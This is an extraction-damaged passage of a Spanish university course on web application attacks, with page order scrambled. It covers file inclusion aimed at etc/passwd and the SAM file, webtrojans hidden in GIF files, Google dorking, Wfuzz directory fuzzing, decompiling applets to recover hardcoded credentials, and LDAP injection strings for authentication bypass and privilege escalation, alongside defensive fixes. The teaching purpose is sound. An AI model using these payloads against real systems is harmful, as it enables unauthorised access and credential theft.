fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
